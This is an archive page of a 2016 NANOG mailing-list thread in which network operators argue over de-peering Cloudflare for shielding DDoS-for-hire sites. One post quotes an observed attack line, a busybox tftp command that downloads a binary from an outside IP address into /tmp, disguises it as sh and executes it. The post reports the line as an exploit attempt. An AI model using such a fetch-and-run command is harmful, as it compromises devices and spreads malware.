Re: Cloudflare, dirty networks and politricks

On 2016-08-01 13:20, Baldur Norddahl wrote: > On 2016-07-31 05:46, Randy Bush wrote: >>> This is silly. Anyone is of course allowed to deny service to parties >>> involved in obvious criminal activity. >> so block cloudflare from your network and go back to work already. >> >> randy > I do

Re: Cloudflare, dirty networks and politricks

While on that subject, ( And by pure coincidence ) Here is a little attempt of exploiting overflow (dnsmasq maybe) using OVH as a payload distribution cd /tmp || cd /var/ || cd /dev/;busybox tftp -r min -g 91.134.141.49;cp /bin/sh .;cat min >sh;chmod 777 sh;./sh

Re: Cloudflare, dirty networks and politricks

>> so block cloudflare from your network and go back to work already. > > What is that supposed to accomplish? Cloudflare will still be helping > selling DDoS attacks on my network. > > No it is not the same as asking Cloudflare to do the sensible thing: and how is that working out for you?

Re: Cloudflare, dirty networks and politricks

On 2016-07-31 05:46, Randy Bush wrote: This is silly. Anyone is of course allowed to deny service to parties involved in obvious criminal activity. so block cloudflare from your network and go back to work already. randy What is that supposed to accomplish? Cloudflare will still be helping

Re: Cloudflare, dirty networks and politricks

Besides legal costs I've informed customers that I will charge them (insert billable hourly rate) for any complaints or similar our staff has to field beyond what we'd consider a normal volume which is pretty low. One guy who wasn't quite to the level of spamming as usually conceived, not in

Re: Cloudflare, dirty networks and politricks

On Sat, Jul 30, 2016 at 03:34:32PM -0400, b...@theworld.com wrote: > I don't know if one can write a ToS which says you will be shut down > if you harm another party utilizing another party's services but not > otherwise involving us. Well, you can write anything but is it lawful > and

Re: Cloudflare, dirty networks and politricks

> This is silly. Anyone is of course allowed to deny service to parties > involved in obvious criminal activity. so block cloudflare from your network and go back to work already. randy

Re: Cloudflare, dirty networks and politricks

> On Jul 30, 2016, at 12:34 PM, b...@theworld.com wrote: > > > On July 30, 2016 at 10:51 o...@delong.com (Owen > DeLong) wrote: >> If they are using a website hosted or accelerated by your CDN to advertise >> an illegal activity or an activity in violation of your ToS,

Re: Cloudflare, dirty networks and politricks

This is silly. Anyone is of course allowed to deny service to parties involved in obvious criminal activity. Moreover, Cloudflare benefits from this illegal activity that they allow on their service. In addition most other services disallow the same illegal sites. This can only lead to one

Re: Cloudflare, dirty networks and politricks

On July 30, 2016 at 10:51 o...@delong.com (Owen DeLong) wrote: > If they are using a website hosted or accelerated by your CDN to advertise > an illegal activity or an activity in violation of your ToS, then if you > have written your ToS properly, you are free to shut down said site (or > at

Re: Cloudflare, dirty networks and politricks

If they are using a website hosted or accelerated by your CDN to advertise an illegal activity or an activity in violation of your ToS, then if you have written your ToS properly, you are free to shut down said site (or at least your portions of it) based on their violation of your ToS. That’s

Re: Cloudflare, dirty networks and politricks

On Fri, 29 Jul 2016 07:50:09 -0500, "J. Oquendo" said: > In my ramblings on "Why network operators love filth", I > associate a landlord that knowingly allows his/her tenant > to sell drugs. In America, your house is gone. This should > be the case on the Internet as well. Oh, do *NOT* go there.

Re: Cloudflare, dirty networks and politricks

Unfortunately that raises the issue of what's generally termed in law a "business boycott" which is at least tortiable if not illegal. The grocer can't agree with your landlord not to sell you food until you catch up on the rent. They can agree to use this information to refuse you credit but

Re: Cloudflare, dirty networks and politricks

On Fri 2016-Jul-29 07:50:09 -0500, J. Oquendo wrote: On Fri, 29 Jul 2016, Rich Kulawiec wrote: On Thu, Jul 28, 2016 at 11:30:12PM +, Donn Lasher via NANOG wrote: > If we want to be accurate about it, Cloudflare doesn???t host the DDoS, > they protect the website

Re: Cloudflare, dirty networks and politricks

On Fri, 29 Jul 2016, Rich Kulawiec wrote: > On Thu, Jul 28, 2016 at 11:30:12PM +, Donn Lasher via NANOG wrote: > > If we want to be accurate about it, Cloudflare doesn???t host the DDoS, > > they protect the website of seller of the product. We shouldn???t be > > de-peering Cloud Flare over

Re: Cloudflare, dirty networks and politricks

On Thu, Jul 28, 2016 at 11:30:12PM +, Donn Lasher via NANOG wrote: > If we want to be accurate about it, Cloudflare doesn???t host the DDoS, > they protect the website of seller of the product. We shouldn???t be > de-peering Cloud Flare over sites they protect any more than we would > de-peer

Re: Cloudflare, dirty networks and politricks

> From: TR Shaw <ts...@oitc.com <javascript:;>> > Sender: "NANOG" <nanog-boun...@nanog.org <javascript:;>>Date: Thu, 28 Jul > 2016 19:45:14 > To: Donn Lasher<d.las...@f5.com <javascript:;>> > Cc: nanog@nanog.org <javascript:;&g

Re: Cloudflare, dirty networks and politricks

t; Cc: nanog@nanog.org<nanog@nanog.org> Subject: Re: Cloudflare, dirty networks and politricks > On Jul 28, 2016, at 7:30 PM, Donn Lasher via NANOG <nanog@nanog.org> wrote: > > On 7/28/16, 10:17 AM, "NANOG on behalf of J. Oquendo" > <nanog-boun...@nanog.or

Re: Cloudflare, dirty networks and politricks

On Thursday, July 28, 2016, Donn Lasher via NANOG wrote: > On 7/28/16, 10:17 AM, "NANOG on behalf of J. Oquendo" < > nanog-boun...@nanog.org on behalf of joque...@e-fensive.net > > wrote: > > > >While many are chanting: #NetworkLivesMatter, I have

Re: Cloudflare, dirty networks and politricks

> On Jul 28, 2016, at 7:30 PM, Donn Lasher via NANOG wrote: > > On 7/28/16, 10:17 AM, "NANOG on behalf of J. Oquendo" > wrote: > > >> While many are chanting: #NetworkLivesMatter, I have yet >> to see, read, or

Re: Cloudflare, dirty networks and politricks

> On Jul 28, 2016, at 7:30 PM, Donn Lasher via NANOG wrote: > > On 7/28/16, 10:17 AM, "NANOG on behalf of J. Oquendo" > wrote: > > >> While many are chanting: #NetworkLivesMatter, I have yet >> to see, read, or

Re: Cloudflare, dirty networks and politricks

On 7/28/16, 10:17 AM, "NANOG on behalf of J. Oquendo" wrote: >While many are chanting: #NetworkLivesMatter, I have yet >to see, read, or hear about any network provider being >the first to set precedence by either de-peering, or

Re: Cloudflare, dirty networks and politricks

On 7/28/16 12:01, McDonald Richards wrote: Feel free to demonstrate to us all how you're leading by example. Until then, as a consumer of "the Internet", I'd like my any-to-any access to remain that way. Again, and that's why these problems are such as they are. ~Seth

Re: Cloudflare, dirty networks and politricks

On Thu, 28 Jul 2016, Stephen Satchell wrote: > Let's supposed someone did indeed de-peer or otherwise block Cloudflare > from their entire network. > > Which of y'all would be the first to say to that network operator, "Hope > you enjoy your intranet"? Really? Again more boogeyman nonsense.

Re: Cloudflare, dirty networks and politricks

Feel free to demonstrate to us all how you're leading by example. Until then, as a consumer of "the Internet", I'd like my any-to-any access to remain that way. On Thu, Jul 28, 2016 at 11:52 AM, Seth Mattinen wrote: > On 7/28/16 11:24, McDonald Richards wrote: > >> Be

Re: Cloudflare, dirty networks and politricks

On 7/28/16 11:24, McDonald Richards wrote: Be sure to let us all know how this works out for your business. And that's why these problems are such as they are. ~Seth

Re: Cloudflare, dirty networks and politricks

On 07/28/2016 10:17 AM, J. Oquendo wrote: While many are chanting: #NetworkLivesMatter, I have yet to see, read, or hear about any network provider being the first to set precedence by either de-peering, or blocking traffic from Cloudflare. There is a lot of keyboard posturing: "I am mad and I

Re: Cloudflare, dirty networks and politricks

On Thu, 28 Jul 2016, McDonald Richards wrote: > Be sure to let us all know how this works out for your business. > > On Thu, Jul 28, 2016 at 10:35 AM, J. Oquendo wrote: > As stated... "Networkers don't give a rats ass about ethics/morals. Solely a fistful of dollars"

Re: Cloudflare, dirty networks and politricks

Be sure to let us all know how this works out for your business. On Thu, Jul 28, 2016 at 10:35 AM, J. Oquendo wrote: > On Thu, 28 Jul 2016, Naslund, Steve wrote: > > > You obviously have a much shorter Internet memory than some of the > engineers on here that have had a

Re: Cloudflare, dirty networks and politricks

On Thu, 28 Jul 2016, Naslund, Steve wrote: > You obviously have a much shorter Internet memory than some of the engineers > on here that have had a long history of killing off and blacklisting various > spam and malware operations over the years. I think the one thing that has > changed is

RE: Cloudflare, dirty networks and politricks

nanog@nanog.org >Subject: Cloudflare, dirty networks and politricks > > >While many are chanting: #NetworkLivesMatter, I have yet to see, read, or hear >about any network provider being the first to set precedence by either >de-peering, or blocking traffic from Cloudflare. There is a

Cloudflare, dirty networks and politricks

While many are chanting: #NetworkLivesMatter, I have yet to see, read, or hear about any network provider being the first to set precedence by either de-peering, or blocking traffic from Cloudflare. There is a lot of keyboard posturing: "I am mad and I am not going to take it anymore" hooplah but